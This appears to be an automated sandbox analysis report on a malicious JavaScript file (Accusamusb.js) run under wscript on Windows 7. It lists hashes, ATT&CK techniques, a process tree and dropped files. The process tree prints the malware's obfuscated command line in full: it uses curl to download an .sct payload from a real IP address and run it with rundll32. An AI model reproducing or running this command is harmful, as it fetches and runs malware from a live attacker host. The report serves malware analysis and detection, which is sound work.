93907bf6f7e6eb636875cdc82225b3ca0c6abc09ece7d28009c59455c67a4208

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
31-10-2023 09:42

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General

Target

Accusamusb.js
Size

110KB
MD5

8e2e739c4d82679045abc9913b67d306
SHA1

5902e8d5e9c5a31e5198fec86a1070cb413add2b
SHA256

6a5c52a0506c17e85b2e86dcaecb33f9d4464fb8ff3ea27b4e1801bd7d6eb12b
SHA512

ea36f33ef41fdb0077400f84e176d905076980a0e1d14696f6bbda990f83ae74af965bd57f8bcb3def79196418a2f13b98208bb8e3d0a6cb5fd87a05183c44bf
SSDEEP

1536:7r+CP7O9wolzok2Tr0/+AIviC5UDfp1UsNdvb/Qv:ntO967AIaCWDvdvb/U

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	996	wscript.exe
5	996	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2260	PING.EXE
2240	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 1444	996	wscript.exe	28
PID 996 wrote to memory of 1444	996	wscript.exe	28
PID 996 wrote to memory of 1444	996	wscript.exe	28
PID 1444 wrote to memory of 2260	1444	cmd.exe	30
PID 1444 wrote to memory of 2260	1444	cmd.exe	30
PID 1444 wrote to memory of 2260	1444	cmd.exe	30
PID 1444 wrote to memory of 2240	1444	cmd.exe	31
PID 1444 wrote to memory of 2240	1444	cmd.exe	31
PID 1444 wrote to memory of 2240	1444	cmd.exe	31
PID 1444 wrote to memory of 2012	1444	cmd.exe	32
PID 1444 wrote to memory of 2012	1444	cmd.exe	32
PID 1444 wrote to memory of 2012	1444	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Accusamusb.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c LC || echO LC & pInG LC || cUrl http://188.34.192.184/76DKN6/plast -o %TmP%\LC.sct & pInG -n 3 LC || RUNDLL32 %TmP%\LC.sct, Crash & eXit KCqBSVojsBqrwoS
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\PING.EXE
    pInG LC
    3⤵
    - Runs ping.exe
    PID:2260
- - C:\Windows\system32\PING.EXE
    pInG -n 3 LC
    3⤵
    - Runs ping.exe
    PID:2240
- - C:\Windows\system32\rundll32.exe
    RUNDLL32 C:\Users\Admin\AppData\Local\Temp\LC.sct, Crash
    3⤵
    PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3CD4.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\Tar3CE6.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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